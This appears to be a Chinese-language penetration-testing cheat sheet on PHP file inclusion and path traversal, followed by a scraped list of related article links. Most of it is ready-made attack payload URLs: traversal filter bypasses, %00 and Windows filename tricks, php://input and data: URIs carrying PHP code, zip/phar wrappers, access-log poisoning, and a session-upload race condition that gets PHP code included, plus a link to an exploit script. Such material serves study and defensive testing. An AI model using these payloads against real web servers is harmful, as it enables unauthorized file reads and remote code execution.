一,PHP中关于文件的操作

任意文件读取/下载,任意文件删除,任意文件包含

file_get_contents(),unlink(),include()

支持【./】和【../】,【../】可用来穿越目录

http://luoke.cn:81/test/1.php?path2=../1.txt

对于将【../】替换为空的,可以双写绕过【..././】

对于强制要求以【upload/】开头的,可以【upload/../../】绕过

对于强制要求以【.xlsx】结尾的,可以【1.php%00.xlsx】绕过

对于Windows服务器支持【..】,支持NTFS文件流【txt::$DATA】

http://luoke.cn:81/test/1.php?path2=..1.txt

支持短文件名,注意,apache默认url也支持短文件名,

http://luoke.cn:81/test/1.php?path2=123456~1.txt
http://luoke.cn:81/test/123456~1.txt

IIS虽然不支持,但是可以用用404和400猜解出来

https://github.com/lijiejie/IIS_shortname_Scanner

file_get_contents()和include()

对于Windows服务器支持后面有一些多余的字符,比如空格和点,bp fuzz如下

%20,%22,%2e,%3c,%3e,%81-%fe

http://luoke.cn:81/test/1.php?path2=1.txt%fe

还可以用<或者>当做通配符代替后缀

http://luoke.cn:81/test/1.php?path2=1.<x<
http://luoke.cn:81/test/1.php?path2=1.<
http://luoke.cn:81/test/1.php?path2=1.>>>

二,PHP中支持多种协议

file

http://luoke.cn:81/test/1.php?path2=file:///C:/xampp/htdocs/1.txt

http(s)和ftp

file_get_contents需要allow_url_fopen=On

include需要allow_url_fopen=On allow_url_include=On

http://luoke.cn:81/test/1.php?path2=http://www.baidu.com
http://luoke.cn:81/test/1.php?path2=ftp://luoke.cn/Downloads/test/1.bat

php://filter

需要allow_url_fopen=On,用include也只能读取文件内容而不能执行代码

http://luoke.cn:81/test/1.php?path2=php://filter/resource=1.txt
http://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=1.txt
http://luoke.cn:81/test/1.php?path2=php://filter/read=string.toupper|string.rot13/resource=1.txt

也可以和其他协议一起来用

http://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=https://www.baidu.com

php://input

需要allow_url_include=on

POST /test/1.php?path1=php://input
<?php phpinfo();?>

更多php://协议见

https://www.php.net/manual/zh/wrappers.php.php

zipcompress.zlib, compress.bzip2phar

http://luoke.cn:81/test/1.php?path1=zip://C:xampphtdocstest1.zip%23test.php
http://luoke.cn:81/test/1.php?path1=compress.bzip2://C:xampphtdocstest1.bz2
http://luoke.cn:81/test/1.php?path1=compress.zlib://C:xampphtdocstest1.gz

上面三个必须使用绝对路径,bz2和gz压缩包需要在linux环境生成

tar -czf 1.gz phpinfo.php
tar -cjf 1.bz2 phpinfo.php
http://luoke.cn:81/test/1.php?path1=phar://1.zip/test.php

data:text/plain

需要allow_url_fopen=On allow_url_include=On

http://luoke.cn:81/test/1.php?path1=data:text/plain,<?php%20phpinfo();?>
http://luoke.cn:81/test/1.php?path1=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

smb

仅windows服务器支持,双off都可以包含,但国内公网已屏蔽smb协议

http://luoke.cn:81/test/1.php?path1=127.0.0.1UsersAdministrator.log

三,无法上传文件如何包含

可以包含缓存或者日志文件

http://luoke.cn:81/test/1.php?<?php phpinfo();?>

用burp直接发包,浏览器会url编码,这样即使报错400也会被写入log

http://luoke.cn:81/test/1.php?path1=../../apache/logs/access.log

包含php的上传缓存,目录于phpinfo中upload_tmp_dir

其原理是对任意php构造上传表单(即使无法上传文件),都会在此目录生成一个php****.tmp的缓存文件

可以包含此文件,但文件存活时间很短且随机名称,所以可以在phpinfo页面上传文件, phpinfo中含有此缓存文件的名称。

同时会将一些head头和GET打印出来,会延迟tmp文件删除的时间,需要在head和GET头填入垃圾字符。脚本如下

https://github.com/luoke90hou/files/blob/main/include_tmp.py

无phpinfo,有PHPSESSID还可以包含tmp目录里的session文件

session_start()开启session。

随便构造一个对任意php文件上传内容为<?php phpinfo();?>的文件

<form action="http://luoke.cn:81/echo.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" /><input type="file" name="file" />
<input type="submit" />
</form>

然后burp条件竞争

http://luoke.cn:81/test/1.php?path1=file:///C:xampptmpsess_2sm7vtt2i612p3ith57rhi5gqc

成功包含

CVE-2018-12613 phpmyadmin也是包含的session文件

觉得还不错的可以关注一下公众号——珂技知识分享,有些渗透实例会发布在上面。

公众号

web.xml filter 不包含_PHP文件包含相关推荐

  1. 【文件包含】文件包含漏洞知识总结

    [文件包含]文件包含漏洞知识总结 Hello,各位小伙伴周五好~ 这里是你们的劳模小编~ 之前一期,我们已经一起总结了文件上传和文件解析漏洞. 今天我们就一起来看看文件包含漏洞吧~ 一.什么是文件包含 ...

  2. fopen打开ftp文件_PHP文件包含漏洞利用思路与Bypass总结手册(一)

    作者:Qftm 合天智汇 前言 这个手册主要是记录针对PHP文件包含漏洞的利用思路与Bypass手法的总结. 相关函数 四个函数 php中引发文件包含漏洞的通常主要是以下四个函数: 1.include ...

  3. WEB安全基础-文件下载漏洞以及文件包含漏洞演示

    这个是下面演示的源码,看链接地址找对应文件 http://download.csdn.net/download/qq78442761/10224681 文件下载漏洞 登进网站后运行截图如下: 点击下载 ...

  4. php文件包含绕过,文件包含漏洞(绕过姿势) | nmask's Blog

    谁将烟焚散,散了纵横的牵绊 文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件.今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏 ...

  5. 什么是文件包含漏洞?文件包含漏洞分类!

    网络安全是安全产业的重要组成部分,也是国家高度重视且大力支持的重点方向,在当下十分受关注,正因如此,越来越多的人选择转行学习网络安全.提及网络安全,大家应该都知道网络安全中有很多漏洞,今天这篇文章主要 ...

  6. 安鸾靶场-LFI本地文件包含 LFI本地文件包含LF2 文件包含漏洞练习记录

    记得几个月刚接触CTF就遇到了一个文件包含漏洞题目 i春秋 afr1 解题过程 题解 原理 PHP伪协议 文件包含漏洞_AAAAAAAAAAAA66的博客-CSDN博客 记得当时的想法就是既然啥也不会 ...

  7. web.xml filter 不包含_Elasticsearch 之 Filter 与 Query 有啥不同?

    今天来了解下 Elasticsearch(以下简称 ES) 中的 Query 和 Filter. 在 ES 中,提供了 Query 和 Filter 两种搜索: Query Context:会对搜索进 ...

  8. web.xml不同版本的头文件配置

    版本:2.3 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE web-app PU ...

  9. web.xml中如何配置Servlet文件

    依次配置<servlet>和<servlet-mapping> 这两个标签的<servlet-name>的值可以随意起,但是两个标签中的值一定得相同 <ser ...

最新文章

  1. Axure8.0 网页 or App 鼠标滚动效果
  2. Spring中经典的9种设计模式,一定要记牢,Java基础教程pdf百度云
  3. vim 双剑合璧,天下无敌(笔记)
  4. 伦斯勒理工大学计算机专业好申请吗,2020年伦斯勒理工学院申请难度
  5. java如何获得相反的颜色_javascript – 如何根据当前颜色生成相反的颜色?
  6. 快速简易封装歌词文件
  7. python is 与 == 的区别
  8. Hadoop常见命令总结
  9. MQTT的学习研究(十)【转】mosquitto——一个开源的mqtt代理
  10. 易筋SpringBoot 2.1 | 第十二篇:SpringBoot综合应用DataSoure
  11. stm32固件库手册使用方法
  12. LinkLab 链接
  13. 淘宝Fourinone介绍及与Hadoop的性能PK
  14. 京东朱健:聊聊京东广告系统的数据库选型
  15. 时区,GMT时间,UTC时间,UNIX时间戳
  16. 爱快中的虚拟机不能获取IPV4地址
  17. 最让我感动的图片...
  18. tcl/tk 的原生界面
  19. poi2009 切题记
  20. 【STM32F429开发板用户手册】第18章 STM32F429的GPIO应用之跑马灯

热门文章

  1. 基于JAVA+SpringMVC+Mybatis+MYSQL的仓库管理系统
  2. 69.Daily Temperatures(日常气温)
  3. JDK9.0.4环境变量配置
  4. 2016级算法期末上机-H.难题·AlvinZH's Fight with DDLs III
  5. 12. Docker修改默认存储位置
  6. Android简单的TXT文件存储
  7. android 使用现成做get请求
  8. spring集成compass中出现的问题和总结
  9. Python 3.6.x字符串格式化方法小结
  10. C++---------之--------【虚析构函数】